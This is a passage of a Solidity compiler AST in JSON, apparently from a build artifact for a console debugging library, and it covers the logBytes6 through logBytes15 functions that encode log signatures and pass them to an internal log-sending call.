memory)"}},"id":15872,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2113:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15867,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2097:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15873,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2097:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15874,"nodeType":"ExpressionStatement","src":"2097:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes6","nameLocation":"2052:9:14","parameters":{"id":15865,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15864,"mutability":"mutable","name":"p0","nameLocation":"2069:2:14","nodeType":"VariableDeclaration","scope":15876,"src":"2062:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes6","typeString":"bytes6"},"typeName":{"id":15863,"name":"bytes6","nodeType":"ElementaryTypeName","src":"2062:6:14","typeDescriptions":{"typeIdentifier":"t_bytes6","typeString":"bytes6"}},"visibility":"internal"}],"src":"2061:11:14"},"returnParameters":{"id":15866,"nodeType":"ParameterList","parameters":[],"src":"2087:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15890,"nodeType":"FunctionDefinition","src":"2169:120:14","nodes":[],"body":{"id":15889,"nodeType":"Block","src":"2213:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733729","id":15884,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2263:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4ed57e28813457436949e4ec0a834b3c8262cd6cebd21953ee0da3400ce2de29","typeString":"literal_string \"log(bytes7)\""},"value":"log(bytes7)"},{"id":15885,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15878,"src":"2278:2:14","typeDescriptions":{"typeIdentifier":"t_bytes7","typeString":"bytes7"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4ed57e28813457436949e4ec0a834b3c8262cd6cebd21953ee0da3400ce2de29","typeString":"literal_string \"log(bytes7)\""},{"typeIdentifier":"t_bytes7","typeString":"bytes7"}],"expression":{"id":15882,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2239:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15883,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2243:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2239:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15886,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2239:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15881,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2223:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15887,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2223:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15888,"nodeType":"ExpressionStatement","src":"2223:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes7","nameLocation":"2178:9:14","parameters":{"id":15879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15878,"mutability":"mutable","name":"p0","nameLocation":"2195:2:14","nodeType":"VariableDeclaration","scope":15890,"src":"2188:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes7","typeString":"bytes7"},"typeName":{"id":15877,"name":"bytes7","nodeType":"ElementaryTypeName","src":"2188:6:14","typeDescriptions":{"typeIdentifier":"t_bytes7","typeString":"bytes7"}},"visibility":"internal"}],"src":"2187:11:14"},"returnParameters":{"id":15880,"nodeType":"ParameterList","parameters":[],"src":"2213:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15904,"nodeType":"FunctionDefinition","src":"2295:120:14","nodes":[],"body":{"id":15903,"nodeType":"Block","src":"2339:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733829","id":15898,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2389:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4f84252e5b28e1a0064346c7cd13650e2dd6020728ca468281bb2a28b42654b3","typeString":"literal_string \"log(bytes8)\""},"value":"log(bytes8)"},{"id":15899,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15892,"src":"2404:2:14","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4f84252e5b28e1a0064346c7cd13650e2dd6020728ca468281bb2a28b42654b3","typeString":"literal_string \"log(bytes8)\""},{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"id":15896,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2365:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15897,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2369:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2365:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2365:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15895,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2349:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15901,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2349:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15902,"nodeType":"ExpressionStatement","src":"2349:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes8","nameLocation":"2304:9:14","parameters":{"id":15893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15892,"mutability":"mutable","name":"p0","nameLocation":"2321:2:14","nodeType":"VariableDeclaration","scope":15904,"src":"2314:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":15891,"name":"bytes8","nodeType":"ElementaryTypeName","src":"2314:6:14","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"2313:11:14"},"returnParameters":{"id":15894,"nodeType":"ParameterList","parameters":[],"src":"2339:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15918,"nodeType":"FunctionDefinition","src":"2421:120:14","nodes":[],"body":{"id":15917,"nodeType":"Block","src":"2465:76:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672862797465733929","id":15912,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2515:13:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_90bd8cd0463fe91d31e59db57ee4cf8d778374c422b4b50e841266d9c2cc6667","typeString":"literal_string \"log(bytes9)\""},"value":"log(bytes9)"},{"id":15913,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15906,"src":"2530:2:14","typeDescriptions":{"typeIdentifier":"t_bytes9","typeString":"bytes9"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_90bd8cd0463fe91d31e59db57ee4cf8d778374c422b4b50e841266d9c2cc6667","typeString":"literal_string \"log(bytes9)\""},{"typeIdentifier":"t_bytes9","typeString":"bytes9"}],"expression":{"id":15910,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2491:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15911,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2495:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2491:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2491:42:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15909,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2475:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2475:59:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15916,"nodeType":"ExpressionStatement","src":"2475:59:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes9","nameLocation":"2430:9:14","parameters":{"id":15907,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15906,"mutability":"mutable","name":"p0","nameLocation":"2447:2:14","nodeType":"VariableDeclaration","scope":15918,"src":"2440:9:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes9","typeString":"bytes9"},"typeName":{"id":15905,"name":"bytes9","nodeType":"ElementaryTypeName","src":"2440:6:14","typeDescriptions":{"typeIdentifier":"t_bytes9","typeString":"bytes9"}},"visibility":"internal"}],"src":"2439:11:14"},"returnParameters":{"id":15908,"nodeType":"ParameterList","parameters":[],"src":"2465:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15932,"nodeType":"FunctionDefinition","src":"2547:123:14","nodes":[],"body":{"id":15931,"nodeType":"Block","src":"2593:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313029","id":15926,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2643:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_013d178bb749cf32d0f7243763667360eb91576261efe5ed9be72b4a2800fd66","typeString":"literal_string \"log(bytes10)\""},"value":"log(bytes10)"},{"id":15927,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15920,"src":"2659:2:14","typeDescriptions":{"typeIdentifier":"t_bytes10","typeString":"bytes10"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_013d178bb749cf32d0f7243763667360eb91576261efe5ed9be72b4a2800fd66","typeString":"literal_string \"log(bytes10)\""},{"typeIdentifier":"t_bytes10","typeString":"bytes10"}],"expression":{"id":15924,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2619:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15925,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2623:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2619:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15928,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2619:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15923,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2603:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2603:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15930,"nodeType":"ExpressionStatement","src":"2603:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes10","nameLocation":"2556:10:14","parameters":{"id":15921,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15920,"mutability":"mutable","name":"p0","nameLocation":"2575:2:14","nodeType":"VariableDeclaration","scope":15932,"src":"2567:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes10","typeString":"bytes10"},"typeName":{"id":15919,"name":"bytes10","nodeType":"ElementaryTypeName","src":"2567:7:14","typeDescriptions":{"typeIdentifier":"t_bytes10","typeString":"bytes10"}},"visibility":"internal"}],"src":"2566:12:14"},"returnParameters":{"id":15922,"nodeType":"ParameterList","parameters":[],"src":"2593:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15946,"nodeType":"FunctionDefinition","src":"2676:123:14","nodes":[],"body":{"id":15945,"nodeType":"Block","src":"2722:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313129","id":15940,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2772:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_04004a2e5bef8ca2e7ffd661b519aec3d9c1b8d0aa1e11656aab73b2726922d9","typeString":"literal_string \"log(bytes11)\""},"value":"log(bytes11)"},{"id":15941,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15934,"src":"2788:2:14","typeDescriptions":{"typeIdentifier":"t_bytes11","typeString":"bytes11"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_04004a2e5bef8ca2e7ffd661b519aec3d9c1b8d0aa1e11656aab73b2726922d9","typeString":"literal_string \"log(bytes11)\""},{"typeIdentifier":"t_bytes11","typeString":"bytes11"}],"expression":{"id":15938,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2748:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15939,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2752:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2748:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2748:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15937,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2732:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2732:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15944,"nodeType":"ExpressionStatement","src":"2732:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes11","nameLocation":"2685:10:14","parameters":{"id":15935,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15934,"mutability":"mutable","name":"p0","nameLocation":"2704:2:14","nodeType":"VariableDeclaration","scope":15946,"src":"2696:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes11","typeString":"bytes11"},"typeName":{"id":15933,"name":"bytes11","nodeType":"ElementaryTypeName","src":"2696:7:14","typeDescriptions":{"typeIdentifier":"t_bytes11","typeString":"bytes11"}},"visibility":"internal"}],"src":"2695:12:14"},"returnParameters":{"id":15936,"nodeType":"ParameterList","parameters":[],"src":"2722:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15960,"nodeType":"FunctionDefinition","src":"2805:123:14","nodes":[],"body":{"id":15959,"nodeType":"Block","src":"2851:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313229","id":15954,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2901:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_86a06abd704b9e5bab2216d456863046355f2def5304d8276c140d0d454fddf2","typeString":"literal_string \"log(bytes12)\""},"value":"log(bytes12)"},{"id":15955,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15948,"src":"2917:2:14","typeDescriptions":{"typeIdentifier":"t_bytes12","typeString":"bytes12"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_86a06abd704b9e5bab2216d456863046355f2def5304d8276c140d0d454fddf2","typeString":"literal_string \"log(bytes12)\""},{"typeIdentifier":"t_bytes12","typeString":"bytes12"}],"expression":{"id":15952,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2877:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15953,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2881:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2877:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15956,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2877:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15951,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2861:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15957,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2861:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15958,"nodeType":"ExpressionStatement","src":"2861:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes12","nameLocation":"2814:10:14","parameters":{"id":15949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15948,"mutability":"mutable","name":"p0","nameLocation":"2833:2:14","nodeType":"VariableDeclaration","scope":15960,"src":"2825:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes12","typeString":"bytes12"},"typeName":{"id":15947,"name":"bytes12","nodeType":"ElementaryTypeName","src":"2825:7:14","typeDescriptions":{"typeIdentifier":"t_bytes12","typeString":"bytes12"}},"visibility":"internal"}],"src":"2824:12:14"},"returnParameters":{"id":15950,"nodeType":"ParameterList","parameters":[],"src":"2851:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15974,"nodeType":"FunctionDefinition","src":"2934:123:14","nodes":[],"body":{"id":15973,"nodeType":"Block","src":"2980:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313329","id":15968,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3030:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_94529e34a43ac6de2c3a0df402eee6114eb0f2ad065baefde0230cd3cf90e2ec","typeString":"literal_string \"log(bytes13)\""},"value":"log(bytes13)"},{"id":15969,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15962,"src":"3046:2:14","typeDescriptions":{"typeIdentifier":"t_bytes13","typeString":"bytes13"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_94529e34a43ac6de2c3a0df402eee6114eb0f2ad065baefde0230cd3cf90e2ec","typeString":"literal_string \"log(bytes13)\""},{"typeIdentifier":"t_bytes13","typeString":"bytes13"}],"expression":{"id":15966,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3006:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15967,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3010:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3006:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3006:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15965,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"2990:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15971,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2990:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15972,"nodeType":"ExpressionStatement","src":"2990:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes13","nameLocation":"2943:10:14","parameters":{"id":15963,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15962,"mutability":"mutable","name":"p0","nameLocation":"2962:2:14","nodeType":"VariableDeclaration","scope":15974,"src":"2954:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes13","typeString":"bytes13"},"typeName":{"id":15961,"name":"bytes13","nodeType":"ElementaryTypeName","src":"2954:7:14","typeDescriptions":{"typeIdentifier":"t_bytes13","typeString":"bytes13"}},"visibility":"internal"}],"src":"2953:12:14"},"returnParameters":{"id":15964,"nodeType":"ParameterList","parameters":[],"src":"2980:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":15988,"nodeType":"FunctionDefinition","src":"3063:123:14","nodes":[],"body":{"id":15987,"nodeType":"Block","src":"3109:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313429","id":15982,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3159:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9266f07faf32c88bbdb01ce418243acbc1c63e15d6e3afa16078186ba711f278","typeString":"literal_string \"log(bytes14)\""},"value":"log(bytes14)"},{"id":15983,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15976,"src":"3175:2:14","typeDescriptions":{"typeIdentifier":"t_bytes14","typeString":"bytes14"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9266f07faf32c88bbdb01ce418243acbc1c63e15d6e3afa16078186ba711f278","typeString":"literal_string \"log(bytes14)\""},{"typeIdentifier":"t_bytes14","typeString":"bytes14"}],"expression":{"id":15980,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3135:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":15981,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3139:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3135:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":15984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3135:43:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":15979,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"3119:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":15985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3119:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":15986,"nodeType":"ExpressionStatement","src":"3119:60:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes14","nameLocation":"3072:10:14","parameters":{"id":15977,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15976,"mutability":"mutable","name":"p0","nameLocation":"3091:2:14","nodeType":"VariableDeclaration","scope":15988,"src":"3083:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes14","typeString":"bytes14"},"typeName":{"id":15975,"name":"bytes14","nodeType":"ElementaryTypeName","src":"3083:7:14","typeDescriptions":{"typeIdentifier":"t_bytes14","typeString":"bytes14"}},"visibility":"internal"}],"src":"3082:12:14"},"returnParameters":{"id":15978,"nodeType":"ParameterList","parameters":[],"src":"3109:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16002,"nodeType":"FunctionDefinition","src":"3192:123:14","nodes":[],"body":{"id":16001,"nodeType":"Block","src":"3238:77:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313529","id":15996,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3288:14:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_da9574e0bf3f23e09c3d85c9f5226065bb36281f2a5d78c7e38f6ffd58919606","typeString":"literal_string \"log(bytes15)\""},"value":"log(bytes15)"},{"id":15997,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15990,"src":"3304:2:14","typeDescriptions":{"typeIdentifier":"t_bytes15","typeString":"bytes15"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_da9574e0bf3f23e09c3d85c9f5226065bb36281f2a5d78c7e38f6ffd58919606","typeString":"literal_string 